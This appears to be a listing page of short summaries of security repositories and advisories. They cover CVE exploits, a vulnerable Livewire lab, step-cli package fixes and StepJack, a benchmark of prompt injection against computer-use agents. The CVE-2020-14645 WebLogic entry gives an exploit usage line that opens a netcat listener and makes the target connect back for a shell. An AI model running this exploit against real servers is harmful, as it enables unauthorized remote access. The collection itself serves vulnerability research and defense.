Vanguard-Map

VANGUARD1 — Multi-Domain Tactical Intelligence Map A real-time 3D map of the world's moving things: live ship traffic AIS, aircraft, satellites, submarine cables, ports, chokepoints, and space weather — rendered as a 1.5M-point terrain cloud with day/night, ocean simulation, and cinematic camera...

WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting

Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL. id:...

CVE-2025-49113

CVE-2025-49113 RCE exploit the method for username/password authentication in this Exploit comes in 4 steps the code is a bit messy...

AiSOC

AiSOC An open-source, self-hostable AI Security Operations Center. It ingests your security telemetry, detects and correlates threats, investigates them with AI agents whose reasoning is fully auditable, and proposes responses a human approves. Technical Guide PDF · Docs · Architecture · What...

cve-2025-21756

CVE-2025-21756 n-day analysis An n-day analysis of CVE-2025-21756 based on Michael Hoefler's writeup. My exploit differs from original exploit in the spray step and some other small points. It's here...

CVE-2025-54068-livewire

CVE-2025-54068 - Livewire v3.6.3 Vulnerable Lab This folder builds a minimal Laravel + Livewire v3 application pinned to Livewire 3.6.3 vulnerable for reproducing CVE-2025-54068. The mounted component is intentionally written to be compatible with the public exploit chain it allows the stage-1...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python （complete in one step） Useage: Python3 exploit.py -t -c tips: No echo Example： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' then you will getshell...

StepJack

StepJack: Benchmarking Computer-Use Agent Safety Against Multi-Step Indirect Prompt Injection Setup 1. Python Environment Setup First, install all dependencies and ensure you’re running Python 3.10. conda create -n stepjack python=3.10 conda activate stepjack pip install -r requirements.txt 2...

CLEANSTART-2026-KJ72444 Security fix for GHSA-78h2-9frx-2jm8 applied in: consul 1.22.5-r0, step-cli 0.28.7-r3, grafana 12.4.3-r2, minio 0.20251015.172955-r2, grafana-fips 12.2.8-r0, loki 3.6.10-r1

GHSA-78h2-9frx-2jm8 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-GD15300 Security fix for GHSA-259r-337f-4rfw applied in: consul-k8s 1.7.13-ri3, etcd 3.6.14-r1, traefik 3.4.5-r0, traefik 3.7.6-r2, step-cli 0.28.7-r3, thanos 0.42.3-r1, thanos 0.42.3-r2, thanos 0.42.4-r0, nats-server 2.14.3-r0, consul-k8s 1.7.13-r3, grafana 13.0.3-r2, etcd 3.6.13-r1

GHSA-259r-337f-4rfw affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-OT66182 Security fix for GHSA-9g5q-2w5x-hmxf applied in: kyverno-policy-reporter-ui-fips 2.7.2-r1, step-cli 0.28.7-r3

GHSA-9g5q-2w5x-hmxf affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-PZ43815 Security fix for GHSA-3fxj-6jh8-hvhx applied in: kyverno-policy-reporter-ui-fips 2.7.2-r1, step-cli 0.28.7-r3

GHSA-3fxj-6jh8-hvhx affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-AI32324 Security fix for GHSA-rjr7-jggh-pgcp applied in: kyverno-policy-reporter-ui-fips 2.7.2-r1, step-cli 0.28.7-r3

GHSA-rjr7-jggh-pgcp affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-VQ57284 Step CA is an online certificate authority for secure, automated certificate management for DevOps

Security vulnerability affects the step-cli package. Step CA is an online certificate authority for secure, automated certificate management for DevOps...

CLEANSTART-2026-WY72459 attacker can bypass authorization checks and force a Step CA ACME or SCEP provisioner to create certificates without completing certain protocol authorization checks

Security vulnerability affects the step-cli package. An attacker can bypass authorization checks and force a Step CA ACME or SCEP provisioner to create certificates without completing certain protocol authorization checks...

CLEANSTART-2026-EU97789 Step CA is an online certificate authority for secure, automated certificate management for DevOps

Security vulnerability affects the step-cli package. Step CA is an online certificate authority for secure, automated certificate management for DevOps...

CLEANSTART-2026-VS87219 Nebula is a scalable overlay networking tool

Security vulnerability affects the step-cli package. Nebula is a scalable overlay networking tool...

CLEANSTART-2026-ST03423 Step CA is an online certificate authority for secure, automated certificate management for DevOps

Security vulnerability affects the step-cli package. Step CA is an online certificate authority for secure, automated certificate management for DevOps...

CVE-2026-120194

A flaw was found in json-glib. The JSONPath slice evaluator used by jsonpathquery can enter an infinite loop when given a slice expression with a negative step. An application that evaluates attacker-controlled JSONPath expressions can be forced into a hang, leading to a denial of service...

phpmyadmin-config-set-2fa

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · phpmyadmin-config-set-2fa Write-up: https://abraxaslabs.tech/research/phpmyadmin-config-set-2fa phpmyadmin-config-set-2fa Class: Privilege leftover / missing step-up Reach: Remote phpMyAdmin 5.2.3 RELEASE523 / 962857e...